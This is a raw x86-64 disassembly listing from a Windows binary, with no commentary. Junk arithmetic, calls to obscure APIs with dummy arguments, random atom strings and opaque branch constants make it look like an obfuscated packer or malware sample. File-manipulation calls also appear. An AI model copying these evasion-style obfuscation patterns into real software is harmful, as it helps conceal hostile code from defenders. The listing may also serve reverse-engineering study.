movzx ecx, word [rsp + 0x1b84]
add eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb270], rax
lea rcx, str.SzfI
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bac], ax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb1f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb210], rax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0x2fe], al
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b90]
add eax, ecx
mov rcx, qword [rsp + 0xb288]
mov word [rcx], ax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5754]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
or rcx, rax
mov rax, rcx
mov qword [0x1401e34f0], rax
movsx eax, word [rsp + 0x1bb4]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b80], ax
mov eax, dword [rsp + 0x5700]
sub eax, 0x60
mov dword [rsp + 0x5700], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba8]
sar eax, cl
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab18]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb270], rax
jmp 0x1400130de
mov rax, qword [rsp + 0xab58]
mov qword [rsp + 0xb2b0], rax
movabs rax, 0x5dfda61b1b735a
cmp qword [rsp + 0xb2b0], rax
je 0x1400134a5
movabs rax, 0x74bafd4a3d84b0
cmp qword [rsp + 0xb2b0], rax
je 0x14015b972
jmp 0x14015ba7e
cmp dword [rsp + 0x5750], 0x2e4d
ja 0x1400139d0
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x1b84], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x115], al
xor r9d, r9d
lea r8, [rsp + 0xb218]
mov rdx, qword [rsp + 0xb240]
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5770], eax
movsx eax, word [0x1401a8374]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b94], ax
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1b90]
add eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0xb1f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa878], rax
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x574c], eax
mov eax, dword [rsp + 0x5798]
movzx ecx, al
mov eax, dword [rsp + 0x571c]
shl eax, cl
mov dword [rsp + 0x4a78], eax
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x579c], eax
mov eax, dword [rsp + 0x4bd4]
movzx ecx, al
mov eax, dword [rsp + 0x56fc]
shr eax, cl
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1401e34f0], rax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b8c]
and eax, ecx
mov word [rsp + 0x1ba8], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
and eax, ecx
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0xa878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb8], rax
lea rdx, [rsp + 0xb240]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x579c], eax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x377]
sub eax, ecx
mov byte [rsp + 0x33b], al
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x56fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov eax, dword [0x1401a8370]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [0x1401e34f8], eax
movsx eax, word [rsp + 0x1b94]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ba0], ax
lea rdx, [rsp + 0x1bd50]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x577c], eax
movzx eax, word [rsp + 0x188c]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b90], ax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb298]
mov qword [rsp + 0xb2b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
xor eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [0x1401e34f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x1b8c], ax
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb268]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401e34f0], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
and eax, ecx
mov byte [rsp + 0x379], al
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x115], al
movzx eax, word [0x1401a8378]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [rsp + 0x1bb0], ax
mov eax, dword [rsp + 0x5750]
add eax, 0xd9
mov dword [rsp + 0x5750], eax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xa878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb258]
sar rax, cl
mov qword [rsp + 0xb1f8], rax
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0x1b8c]
or eax, ecx
mov rcx, qword [rsp + 0xb288]
mov word [rcx], ax
mov rax, qword [rsp + 0xb228]
mov rcx, qword [rsp + 0xb220]
mov qword [rsp + 0xb2c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb1e0], rax
mov eax, dword [rsp + 0x5798]
mov ecx, dword [rsp + 0x4a78]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x571c], eax
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0x1b9c]
and eax, ecx
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b84]
sub eax, ecx
mov word [rsp + 0x188c], ax
movsx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b94], ax
jmp 0x1400134a5
mov rax, qword [0x1401a8380]
mov rcx, qword [rsp + 0xa878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xb1f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
lea rcx, [0x1401a92e0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bbc], ax
cmp dword [rsp + 0x5704], 0x5e9b
ja 0x140013edb
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1b84], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb268]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb1e0], rax
mov eax, dword [rsp + 0x5798]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x379], al
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [0x1401a8038], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
sar eax, cl
mov word [rsp + 0x1bb4], ax
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0x188c]
shl eax, cl
mov word [rsp + 0x1b8c], ax
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [rsp + 0x33b]
xor eax, ecx
mov byte [rsp + 0x2fe], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movsx eax, word [rsp + 0x1b9c]
movsx ecx, word [rsp + 0x1bb8]
or eax, ecx
mov word [rsp + 0x1bb0], ax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x33b]
and eax, ecx
mov byte [rsp + 0x377], al
mov eax, dword [rsp + 0x5798]
mov ecx, dword [rsp + 0x5758]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x571c], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb268], rax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5754]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
movsx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b8c]
add eax, ecx
mov word [rsp + 0x1ba8], ax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x2fe]
add eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0x9bb8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [0x1401a8380]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0xb210]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1f8], rax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x115]
shl eax, cl
mov byte [rsp + 0x377], al
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xb268]
movzx ecx, al
mov rax, qword [rsp + 0xb228]
shr rax, cl
mov qword [rsp + 0xb1e0], rax
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov rcx, qword [rsp + 0xb288]
mov word [rcx], ax
mov eax, dword [rsp + 0x4a78]
mov ecx, dword [rsp + 0x571c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5798], eax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [0x1401a8378]
add eax, ecx
mov word [rsp + 0x1b84], ax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x378], al
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b80], ax
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1b84]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
mov eax, dword [rsp + 0x5764]
mov ecx, dword [rsp + 0x5758]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5788], eax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb228]
and rcx, rax
mov rax, rcx
mov qword [0x1401e34f0], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xab58], rax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bb8], ax
mov dword [rsp + 0x20], 0x3d4f
mov r9d, 0x18f0
mov r8d, 0x3e5
mov edx, 0x2c8a
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x5770], eax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x2fe]
xor eax, ecx
mov byte [rsp + 0x115], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov eax, dword [rsp + 0x5704]
add eax, 0xf6
mov dword [rsp + 0x5704], eax
movzx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb270]
mov rcx, qword [0x1401a8380]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb268], rax
jmp 0x140013a20
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.CdMsZAZXgizy5Xhil
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb2c8], rax
imul eax, dword [rsp + 0x5764], 0x1ef4
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [0x1401a8374]
sub eax, ecx
movsx ecx, word [rsp + 0x1ba0]
movsx edx, word [rsp + 0x1b9c]
sub ecx, edx
cmp eax, ecx
jg 0x14015b82d
mov eax, dword [rsp + 0x5764]
mov ecx, dword [0x1401a8370]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x571c], eax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x4bd4]
and ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x5754]
jbe 0x140014106
mov rax, qword [rsp + 0xb268]
mov rcx, qword [rsp + 0xb228]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
call qword [sym.imp.ole32.dll_CoRevokeMallocSpy]
mov dword [rsp + 0x57a0], eax
movsx eax, word [0x1401a8374]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xb258]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb8], rax
mov rax, qword [rsp + 0xb280]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x5758]
mov edx, dword [rsp + 0x465c]
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rax]
call fcn.14015c1e0
lea r9, [rsp + 0x57a4]
lea r8, [rsp + 0xb2d0]
mov edx, 0xb7
mov rcx, qword [rsp + 0xb2d8]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0x57a4], eax
movsx eax, byte [rsp + 0x379]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
add eax, ecx
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb228], rax
mov eax, dword [rsp + 0x4a78]
movzx ecx, al
mov eax, dword [rsp + 0x5798]
sar eax, cl
mov dword [rsp + 0x5764], eax
mov eax, dword [rsp + 0x465c]
mov ecx, dword [rsp + 0x571c]
xor ecx, eax
mov eax, ecx
mov dword [0x1401e34f8], eax
mov dword [rsp + 0x57a8], 0x5f1b
movzx eax, word [rsp + 0x188c]
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
shl eax, cl
mov word [rsp + 0x1b84], ax
mov rax, qword [0x1401e34f0]
mov qword [rsp + 0xb2e0], rax
movabs rax, 0x7919df777ef8dd
cmp qword [rsp + 0xb2e0], rax
je 0x14001417a
movabs rax, 0x7b1bb4a2b71afc
cmp qword [rsp + 0xb2e0], rax
je 0x14001419d
jmp 0x14001420e
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [rsp + 0xe7]
or eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
call fcn.14015c090
jmp 0x14001420e
mov ecx, 0x92
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [rsp + 0x570c], eax
movsx eax, word [rsp + 0x1b94]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb210], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb210], rax
mov eax, dword [rsp + 0x4bd4]
mov dword [rsp + 0x57ac], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [0x1401e34f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb1e0]
mov rdx, qword [0x1401e34f0]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x140014369
movzx eax, byte [rsp + 0x33b]
mov byte [rsp + 0x57b0], al
cmp byte [rsp + 0x57b0], 0x22
je 0x140014339
cmp byte [rsp + 0x57b0], 0xa0
je 0x1400142a6
jmp 0x140014364
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [0x1401a8039], al
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x571c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5798], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb2e8], rax
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x573c], eax
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [rsp + 0x33b]
or eax, ecx
mov byte [rsp + 0x232], al
lea rax, [rsp + 0x1b8c]
mov qword [rsp + 0xb2f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
jmp 0x140014364
movzx r9d, word [rsp + 0x188c]
mov r8, qword [0x1401a8380]
mov rax, qword [rsp + 0xb1f0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rax]
call fcn.14015bfb0
jmp 0x140014445
mov rax, qword [rsp + 0xb220]
mov rcx, qword [0x1401e34f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x91a0]
mov rdx, qword [rsp + 0xb268]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140014445
mov ecx, 0x10
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
sar eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb4]
xor eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xb298]
mov qword [rsp + 0xb300], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xab18], rax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1bb0]
and eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
lea rcx, [rsp + 0x57a4]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [rsp + 0x4bd4]
imul eax, dword [rsp + 0x56fc]
mov dword [rsp + 0x57ac], eax
movzx eax, byte [rsp + 0x379]
mov byte [rsp + 0x57b4], al
cmp byte [rsp + 0x57b4], 0
je 0x140014479
jmp 0x14001459c
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x378]
add eax, ecx
mov byte [0x1401a803a], al
mov eax, dword [rsp + 0x465c]
mov dword [rsp + 0x57b8], eax
lea rax, [rsp + 0xb268]
mov qword [rsp + 0xb308], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov dword [rsp + 0x57bc], eax
cmp dword [rsp + 0x57bc], 0
je 0x1400144f6
cmp dword [rsp + 0x57bc], 0x779
je 0x140014581
jmp 0x14001459a
movzx eax, byte [rsp + 0x378]
mov byte [rsp + 0x57c0], al
cmp byte [rsp + 0x57c0], 0x40
je 0x14001451b
cmp byte [rsp + 0x57c0], 0xbb
je 0x140014566
jmp 0x14001457f
movzx eax, word [rsp + 0x1b90]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba8], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov qword [rsp + 0xb310], rax
jmp 0x14001457f
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [0x1401a8374]
add eax, ecx
mov word [rsp + 0x1bb0], ax
jmp 0x14001459a
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [rsp + 0x2fe]
sub eax, ecx
mov byte [rsp + 0x232], al
jmp 0x1400145ec
movzx eax, word [rsp + 0x1bc0]
movzx ecx, word [rsp + 0x1b8c]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401e34f0], rax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57ac], eax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x2fe]
add eax, ecx
mov dword [rsp + 0x57c4], eax
movzx ecx, byte [rsp + 0x115]
movzx edx, byte [rsp + 0x232]
mov dword [rsp + 0x57c8], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x57c8]
idiv ecx
mov ecx, dword [rsp + 0x57c4]
cmp ecx, eax
jg 0x1400146f6
mov ecx, dword [rsp + 0x4a78]
call fcn.14015bee0
lea r9, [rsp + 0x1bc0]
mov r8, qword [rsp + 0xb318]
mov edx, 0xd1
lea rcx, [rsp + 0xb1e0]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x5778], eax
mov eax, dword [rsp + 0x5764]
mov ecx, dword [rsp + 0x4a78]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x465c], eax
movsx eax, byte [rsp + 0x379]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc0]
shl eax, cl
mov rcx, qword [rsp + 0xb288]
mov word [rcx], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
sar eax, cl
mov word [rsp + 0x1ba0], ax
mov edx, dword [rsp + 0x57ac]
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rax]
call fcn.14015c130
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xb1f8]
mov qword [rsp + 0xb320], rax
lea rcx, [rsp + 0x18540]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, str.bJ1mdV_DLj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xa878]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb1f8], rax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57ac], eax
mov dword [rsp + 0x57cc], 0x3712
mov dword [rsp + 0x57d0], 0x7005
mov eax, dword [rsp + 0x5754]
mov dword [rsp + 0x57d4], eax
cmp dword [rsp + 0x57d4], 0x4000000c
je 0x1400147b7
jmp 0x14015b7b8
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [0x1401a8374]
add eax, ecx
mov word [rsp + 0x1bb8], ax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x377]
add eax, ecx
mov byte [rsp + 0x2fe], al
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0x9bb8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb210]
mov rax, qword [rax]
